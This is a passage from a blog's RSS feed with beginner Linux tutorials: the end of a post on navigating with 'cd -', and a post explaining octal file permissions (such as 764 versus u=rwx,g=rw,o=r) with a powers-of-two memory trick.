<h3 id="heading-navigate-to-the-previous-directory">Navigate to the previous directory</h3>
<ul>
<li><p>When we use cd with a hyphen ( - ), we move to the previous working directory ( previous doesn't mean parent ).</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693549610264/46561de7-dacd-4dbf-ba86-76545d492f60.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>First, our directory was "/home/anand". We changed it to "/var/log"</p>
</li>
<li><p>Now when we use "cd -", it brings us back to the previous directory which was /home/anand.</p>
</li>
<li><p>If we use this command again, it will bring us back to the directory that we're in before the current one ( /var/log ).</p>
</li>
<li><p>This allows us to move back and forth between two directories without needing to write entire paths, letting us save some time. Makes our workflow faster.</p>
</li>
</ul>
</li>
</ul>
</blockquote>
<p>We are done with cd command, You might wanna take a break for now and then consider coming back to <a target="_blank" href="https://blog.anandxdarshan.tech/working-with-terminal-in-linux-part-2">Part 2 of the article</a> <em>when it's released</em>.</p>
<hr />
<p><img src="https://media.giphy.com/media/3oz8xAFtqoOUUrsh7W/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-thanks-for-reading-this">Thanks for reading this!</h1>
<h3 id="heading-if-you-like-the-way-i-write-consider-supporting-me-by">If you like the way I write, consider supporting me by</h3>
<ul>
<li><h4 id="heading-giving-me-a-follow">giving me a follow,</h4>
</li>
<li><h4 id="heading-or-by-dropping-a-like">or by dropping a like,</h4>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Octal Permission in Linux]]></title><description><![CDATA[Prerequisite
To proceed further into reading this article, You need to be familiar with the following:

permissions in Linux ( rwx )

User categories ( u, g, o, a )


What you're gonna get from this article
In this article, we will simplify the conce...]]></description><link>https://blog.redteamers.in/octal-permission-in-linux</link><guid isPermaLink="true">https://blog.redteamers.in/octal-permission-in-linux</guid><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[linux-basics]]></category><category><![CDATA[linux-commands]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Wed, 31 May 2023 14:01:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597074068/0bf0e0be-c00d-4e76-9284-6732a9150f4b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-prerequisite">Prerequisite</h2>
<p>To proceed further into reading this article, You need to be familiar with the following:</p>
<ul>
<li><p>permissions in Linux ( rwx )</p>
</li>
<li><p>User categories ( u, g, o, a )</p>
</li>
</ul>
<h2 id="heading-what-youre-gonna-get-from-this-article">What you're gonna get from this article</h2>
<p>In this article, we will simplify the concept of octal numbers and their associated permissions. We will also provide you with a handy trick formula that is not widely known, which will help you easily remember and generate octal mode numbers and their corresponding permissions. With this formula, you won't have to rely on searching the web every time you need octal mode numbers.</p>
<h2 id="heading-why-learn-octal">Why Learn Octal?</h2>
<h3 id="heading-first-of-all-you-all-might-be-wondering-why-we-even-need-to-learn-octal-when-we-have-simpler-symbolic-permissions-rwx">First of all, you all might be wondering, why we even need to learn Octal when we have simpler Symbolic Permissions ( rwx ).</h3>
<ul>
<li>The simple answer to this is that you can define the permission of any user category for a file/directory in just 3 digits ---- Meaning, it's <strong>way too concise than the Symbolic mode</strong>.</li>
</ul>
<p>Let me show you how:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685534318364/241bfbbf-1109-424c-9aca-6f86c259d7eb.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We have two files one for each permission mode.</p>
</li>
<li><p>We're going to use Octal mode on OctalFile.txt and</p>
</li>
<li><p>Symbolic mode on SymbolicFile.txt</p>
</li>
</ul>
<h2 id="heading-comparison">Comparison</h2>
<ul>
<li><p>Permissions of both files are set to none:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685534629798/05296c6e-1778-44a1-b910-07bc6408ac3a.png" alt /></p>
</li>
<li><p>Now let's use both Symbolic and Octal modes on respective files to assign the same set of permissions ( user= read, write &amp; execute | group= read &amp; write | others= read ) :</p>
<ul>
<li><p>Using Symbolic mode on SymbolicFile.txt:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685535379812/18e3522b-5269-4822-a255-a5a02ba05a6b.png" alt /></p>
</li>
<li><p>Now let's use Octal mode on OctalFile.txt:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685537305506/095f6990-0953-47a0-879a-5c05115030c4.png" alt /></p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-comparison-summary"><strong>Comparison summary</strong></h2>
<ul>
<li><p>Do you notice how less we need to write in the Octal when compared to the Symbolic mode?</p>
</li>
<li><p>Where we need to write "u=rwx,g=rw,o=r" in Symbolic mode, the same can be done just by using "764" in Octal mode.</p>
</li>
<li><p>This makes Octal preferred over Symbolic by advanced Linux users as it's concise and readable.</p>
</li>
</ul>
<hr />
<h1 id="heading-lets-get-into-the-real-thing-shall-we">Let's get into the real thing, shall we?</h1>
<p>Let me simplify this Octal mode for you.</p>
<p>Octal mode, as the name suggests, has 8 different digits that represent different sets of permissions ( by set I mean a combination of rwx and "_" which means no permission ).</p>
<p>This ranges from 0 to 7 just as any indexing does in Computers.</p>
<p>Now I know a few or a number of you find it intimidating that's why you end up using Symbolic but wait till the end as the trick that I'll share will get you using it every day.</p>
<p>So in all the 8 digits, you only need to remember 3 ( rwx ) and the rest 5 is a combination of these so you'll be able to map the other 5 easily if you have these 3 in your head:</p>
<pre><code class="lang-plaintext">0 -&gt;
1 -&gt; x    // execute
2 -&gt; w    // write
3 -&gt;
4 -&gt; r    // read
5 -&gt;
6 -&gt;
7 -&gt;
</code></pre>
<p>Again, don't get intimidated if you can't remember these three either, just keep reading till the end and you'll get it all at the end.</p>
<p>First, let's see how these three combine to create the other 5 or shall say 4 ( as 0 simply means no permission ).</p>
<p>We're now left with 4 other digits which are 3, 5, 6 and 7, let me explain the combination:</p>
<pre><code class="lang-plaintext">3 -&gt; 1 + 2 -&gt; 1=x + 2=w    // x + w
5 -&gt; 1 + 4 -&gt; 1=x + 4=r    // x + r
6 -&gt; 2 + 4 -&gt; 2=w + 4=r    // w + r

All Permission:
7 -&gt; 1 + 2 + 4 -&gt; 1=x + 2=w + 4=r   // x + w + r
</code></pre>
<p>Do you notice how three of the permissions x, w, r which are equivalent to 1, 2 and 4 respectively, combine to form the other 4 in the octal mode?</p>
<p>So this was to explain to you how octal works.</p>
<p>Some people might have grasped and maybe, are now comfortable with using this.</p>
<p>But a few might not, and let me tell you, I fell under the categories of those few until I found a trick formula that makes it easy to remember. So here I go into explaining that to you.</p>
<hr />
<h2 id="heading-the-trick-formula">The Trick Formula</h2>
<p>So here it is:</p>
<p>Don't get intimidated by it either, it would appear to be complex to some but let me explain and then you will remember it forever.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1685545795013/47eb2de0-0739-40fc-bcf7-f513c022abd7.png" alt class="image--center mx-auto" /></p>
<p>Let's break this down:</p>
<ul>
<li><p>First, remember that the base is always 2 ( observe the first row ).</p>
</li>
<li><p>Second, the power of base 2 i.e., 0, 1 and 2 ( because there are 3 permissions- rwx ).</p>
</li>
<li><p>Third, "least is the most rule"</p>
<ul>
<li><p>When I say least, I refer to 0 from 0, 1 and 2 powers. Or 1 when considered 1 and 2.</p>
</li>
<li><p>And when I most that's when I am referring to the impact or strength of permission ( execute is the highest impactful permission as you're letting a person execute stuff on your system )</p>
</li>
</ul>
</li>
</ul>
<p>So 2^0 is the least so it is going to the most powerful permission i.e., x ( execute permission ).</p>
<p>2^1 is in the middle so it's gonna be w ( write permission ) as it's more impactful than read ( r ) but less impactful than x ( execute ).</p>
<p>2^2 is exactly opposite to "least from Least is the most rule" then it's gonna be r ( read permission ).</p>
<p>And that's it, you have it now.</p>
<hr />
<p>I hope I was able to explain this thoroughly and well enough to you all.</p>
<p>I have one request for you all, please consider giving me feedback on my delivery or any other stuff that you might feel needs improvement.</p>
<h2 id="heading-a-big-thanks-for-reading-this">A big Thanks for Reading this!!</h2>
]]></content:encoded></item></channel></rss>